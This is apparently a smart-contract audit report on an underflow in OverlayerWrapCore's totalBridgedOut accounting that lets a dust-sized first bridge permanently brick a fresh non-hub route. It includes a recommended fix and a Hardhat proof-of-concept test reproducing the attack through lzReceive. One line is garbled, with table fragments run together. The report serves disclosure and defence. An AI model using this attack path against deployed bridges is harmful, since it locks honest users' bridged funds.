The bug is in the totalBridgedOut accounting used by the OFT bridge flow
In OverlayerWrapCore, the source-chain path increase totalBridgedOut inside _debit() while the destination-chain path alway decreases it inside _credit()
The relevant logic is:
function _debit(...) internal override returns (...) {
(amountSentLD, amountReceivedLD) = super._debit(...);
totalBridgedOut += amountSentLD;
}
function _credit(...) internal override returns (uint256 amountReceivedLD) {
amountReceivedLD = super._credit(...);
totalBridgedOut -= amountReceivedLD;
}
That assumption is invalid on a fresh non-hub route. A fresh destination start with totalSupply() == 0 and totalBridgedOut() == 0 because it has never originated an outbound bridge. When the first inbound bridge arrive, _credit() still try to subtract a positive amountReceivedLD from zero which underflow and revert with panic
This is enough to brick the route because the failure happen after the source-side debit logic has already burned the sender’s tokens. It also reproduce through the authenticated lzReceive(...) path not just through direct helper calls
The state cannot be repaired through ordinary protocol usage. In OverlayerWrap, user mint() and redeem() route into hub-only internal flows so a non-hub user cannot self-seed local state through normal protocol usage. There is also no admin setter or recovery function that can directly seed destination totalBridgedOut. As a result, once the first inbound credit fail on a fresh route, later inbound users remain stuck on the same route as well
0.000001 OWtotalBridgedOut -= amountReceivedLD even though destination totalBridgedOut is still zero0x11The attacker own initial cost is negligible but they convert the route into a permanent sink for later honest users on that path
This is a Critical permanent-lock issue because a permissionless attacker can brick a fresh non-hub bridge route and cause later users on that route to lose access to their bridged funds
make totalBridgedOut hub-only accounting and stop decrementing it on non-hub destinations during _credit() so a fresh destination can accept its first inbound bridge without requiring any outbound bridge state
Add this test to the bridge-accounting section of the OverlayerWrap test file.
it("Should let a dust first bridge brick later honest users on the same fresh route", async function () {
const { source, destination } = await loadFixture(deployFreshRouteFixture);
await destination.overlayerWrap
.connect(destination.admin)
.setPeer(
SRC_EID,
ethers.zeroPadValue(await source.overlayerWrap.getAddress(), 32)
);
const attackerAmount = LD_TO_SD_RATE;
const victimAmount = ethers.parseEther("10");
await source.overlayerWrap.connect(source.alice).mint({
benefactor: source.alice.address,
beneficiary: source.alice.address,
collateral: await source.collateral.getAddress(),
collateralAmount: 1n,
overlayerWrapAmount: attackerAmount
});
await source.overlayerWrap.connect(source.bob).mint({
benefactor: source.bob.address,
beneficiary: source.bob.address,
collateral: await source.collateral.getAddress(),
collateralAmount: ethers.parseUnits(
"10",
await source.collateral.decimals()
),
overlayerWrapAmount: victimAmount
});
await ethers.provider.send("hardhat_setBalance", [
LZ_ENDPOINT_ETH_MAINNET_V2,
"0x3635C9ADC5DEA00000"
]);
await ethers.provider.send("hardhat_impersonateAccount", [
LZ_ENDPOINT_ETH_MAINNET_V2
]);
const endpointSigner = await ethers.getSigner(LZ_ENDPOINT_ETH_MAINNET_V2);
await source.overlayerWrap
.connect(source.alice)
.testDebit(source.alice.address, attackerAmount, attackerAmount, DST_EID);
await expect(
destination.overlayerWrap.connect(endpointSigner).lzReceive(
{
srcEid: SRC_EID,
sender: ethers.zeroPadValue(
await source.overlayerWrap.getAddress(),
32
),
nonce: 1
},
ethers.ZeroHash,
encodeOftMessage(destination.alice.address, attackerAmount),
ethers.ZeroAddress,
"0x"
)
).to.be.revertedWithPanic(0x11);
await source.overlayerWrap
.connect(source.bob)
.testDebit(source.bob.address, victimAmount, victimAmount, DST_EID);
await expect(
destination.overlayerWrap.connect(endpointSigner).lzReceive(
{
srcEid: SRC_EID,
sender: ethers.zeroPadValue(
await source.overlayerWrap.getAddress(),
32
),
nonce: 2
},
ethers.keccak256("0x1234"),
encodeOftMessage(destination.bob.address, victimAmount),
ethers.ZeroAddress,
"0x"
)
).to.be.revertedWithPanic(0x11);
expect(await destination.overlayerWrap.totalSupply()).to.equal(0);
expect(await destination.overlayerWrap.totalBridgedOut()).to.equal(0);
expect(await source.overlayerWrap.totalBridgedOut()).to.equal(
attackerAmount + victimAmount
);
expect(await source.overlayerWrap.balanceOf(source.bob.address)).to.equal(0);
await ethers.provider.send("hardhat_stopImpersonatingAccount", [
LZ_ENDPOINT_ETH_MAINNET_V2
]);
});